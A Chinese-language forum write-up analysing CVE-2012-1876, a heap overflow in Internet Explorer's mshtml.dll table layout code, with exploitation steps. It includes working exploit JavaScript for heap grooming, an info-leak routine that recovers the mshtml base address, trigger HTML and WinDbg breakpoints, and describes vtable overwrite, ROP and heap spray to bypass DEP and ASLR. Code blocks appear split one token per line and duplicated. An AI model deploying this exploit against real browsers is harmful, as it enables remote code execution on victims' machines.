CVE-2012-1876
mshtml.dll中函数CTableLayout::CalculateMinMax,通过span属性值作为循环次数向堆内存中写入数据时,未对span进行有效的校验而导致堆溢出,可实现RCE.
调试ie,开启子进程调试,开启页堆,定位堆溢出位置
溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值
查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析
首次加载页面,会获取一些属性,第一个参数为Table标签的类对象
ebx=CTableLayout
ebx+0x54== 所有col标签span属性值的和,标记为spannum
如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间
函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处
执行完之后会对this+0x94进行更新
通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax
此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作
此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变
spannum仍然为1
通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149
然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159
当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出.
构造堆的布局,进行占位.让内存申请到释放的位置.
第一次溢出覆盖字符串长度,暴露mshtml基址.
第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode.
第一步申请内存空间,写入大量BSTR字符串,构造堆布局,释放存储字符"E"的堆空间,让EnsureSizeWorker申请内存时,可以占用释放的位置.
构造col标签,进行占位
通过windbg调试,输出日志,判断是否成功占位
程序成功申请到前面释放的内存,这里要去除页堆,不然成功率很低.
当前内存布局,可以找到CButton虚表指针,需要通过它计算出mshtml基址,因为CButtonLayout虚表指针和mshtml基址的偏移是固定的,为了能够读取到这个值,需要通过溢出改变字符串B的长度,读取CButtonLayout虚表指针
第一次溢出,长度成功被覆盖
通过暴露的虚表指针信息,可以找到mshtml.dll基址,偏移为:0x1584F8
获取偏移后,再使用windbg调试,验证基址是否正确.
第二次溢出覆盖CButtonLayout对象的虚表指针进行覆盖,控制程序执行流程
这里进行覆盖的值=width*125,后面调用的虚函数地址为[eax+dc],与漏洞战争书上略有不同.
成功控制执行流程.
下面进行heapspray,构造shellcode喷射到这个地址中.
为了使覆盖的虚表指针的值刚好是shellcode起始位置,并且eax+dc位置是xchg eax,esp ret指令地址,可以通过读取内存快速查找对应地址,写入第二次溢出的width中
结果
漏洞战争:软件漏洞分析精要
gflags.exe
-
i iexplore.exe
+
hpa
.childdbg
1
gflags.exe
-
i iexplore.exe
+
hpa
.childdbg
1
<div
id
=
"test"
><
/
div>
<script language
=
'javascript'
>
d
=
document.getElementById(
'test'
);
var dap
=
"EEEE"
;
while
(dap.length <
0x200
) dap
+
=
dap;
var padding
=
"AAAA"
;
while
(padding.length <
0x200
) padding
+
=
padding;
var filler
=
"BBBB"
;
while
(filler.length <
0x200
) filler
+
=
filler;
var arr
=
new Array();
var rra
=
new Array();
/
/
EEEE AAAA BBBB OOOO
for
(var i
=
0
; i <
1000
; i
+
=
2
) {
rra[i]
=
dap.substring(
0
, (
0x100
-
6
)
/
2
);
arr[i]
=
padding.substring(
0
, (
0x100
-
6
)
/
2
);
arr[i
+
1
]
=
filler.substring(
0
, (
0x100
-
6
)
/
2
);
var obj
=
document.createElement(
"button"
);
d.appendChild(obj);
}
/
/
theap A B button
for
(var i
=
200
; i <
1000
; i
+
=
2
) {
rra[i]
=
null;
CollectGarbage();
}
<
/
script>
<div
id
=
"test"
><
/
div>
<script language
=
'javascript'
>
d
=
document.getElementById(
'test'
);
var dap
=
"EEEE"
;
while
(dap.length <
0x200
) dap
+
=
dap;
var padding
=
"AAAA"
;
while
(padding.length <
0x200
) padding
+
=
padding;
var filler
=
"BBBB"
;
while
(filler.length <
0x200
) filler
+
=
filler;
var arr
=
new Array();
var rra
=
new Array();
/
/
EEEE AAAA BBBB OOOO
for
(var i
=
0
; i <
1000
; i
+
=
2
) {
rra[i]
=
dap.substring(
0
, (
0x100
-
6
)
/
2
);
arr[i]
=
padding.substring(
0
, (
0x100
-
6
)
/
2
);
arr[i
+
1
]
=
filler.substring(
0
, (
0x100
-
6
)
/
2
);
var obj
=
document.createElement(
"button"
);
d.appendChild(obj);
}
/
/
theap A B button
for
(var i
=
200
; i <
1000
; i
+
=
2
) {
rra[i]
=
null;
CollectGarbage();
}
<
/
script>
<table style
=
"table-layout:fixed"
>
<col
id
=
"0"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
<table style
=
"table-layout:fixed"
>
<col
id
=
"1"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
...
<table style
=
"table-layout:fixed"
>
<col
id
=
"132"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
<table style
=
"table-layout:fixed"
>
<col
id
=
"0"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
<table style
=
"table-layout:fixed"
>
<col
id
=
"1"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
...
<table style
=
"table-layout:fixed"
>
<col
id
=
"132"
width
=
"41"
span
=
"9"
>  <
/
col>
<
/
table>
sxe ld:jscript
bu ntdll!RtlFreeHeap
".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax
+
0x18C
".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt
sxe ld:jscript
bu ntdll!RtlFreeHeap
".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax
+
0x18C
".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt
function one_overflow() {
/
/
首次溢出,通过CButtonLayout暴露mshtml基址
var col
=
document.getElementById(
2
);
col.span
=
19
;
}
function get_mshtml_base() {
var leak_addr
=
-
1
;
for
(var i
=
0
; i <
10000
; i
+
+
) {
if
(arr[i].length > (
0x100
-
6
)
/
2
) {
leak_index
=
i;
var leak
=
arr[i].substring((
0x100
-
6
)
/
2
+
(
2
+
8
)
/
2
, (
0x100
-
6
)
/
2
+
(
2
+
8
)
+
4
/
2
);
leak_addr
=
parseInt(leak.charCodeAt(
1
).toString(
16
)
+
leak.charCodeAt(
0
).toString(
16
),
16
);
/
/
alert(
"CButtonLayout VirtualTable Point:0x"
+
leak_addr.toString(
16
));
mshtml_base
=
leak_addr
-
Number(
0x001584f8
);
/
/
alert(
"mshtml base:0x"
+
mshtml_base.toString(
16
));
heapspray(mshtml_base);
break
;
}
}
}
function one_overflow() {
/
/
首次溢出,通过CButtonLayout暴露mshtml基址
var col
=
document.getElementById(
2
);
col.span
=
19
;
}
function get_mshtml_base() {
var leak_addr
=
-
1
;
for
(var i
=
0
; i <
10000
; i
+
+
) {
if
(arr[i].length > (
0x100
-
6
)
/
2
) {
leak_index
=
i;
var leak
=
arr[i].substring((
0x100
-
6
)
/
2
+
(
2
+
8
)
/
2
, (
0x100
-
6
)
/
2
+
(
2
+
8
)
+
4
/
2
);
leak_addr
=
parseInt(leak.charCodeAt(
1
).toString(
16
)
+
leak.charCodeAt(
0
).toString(
16
),
16
);
/
/
alert(
"CButtonLayout VirtualTable Point:0x"
+
leak_addr.toString(
16
));
mshtml_base
=
leak_addr
-
Number(
0x001584f8
);
/
/
alert(
"mshtml base:0x"
+
mshtml_base.toString(
16
));
heapspray(mshtml_base);
break
;
}
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-12-30 23:14
被ashLL编辑
,原因: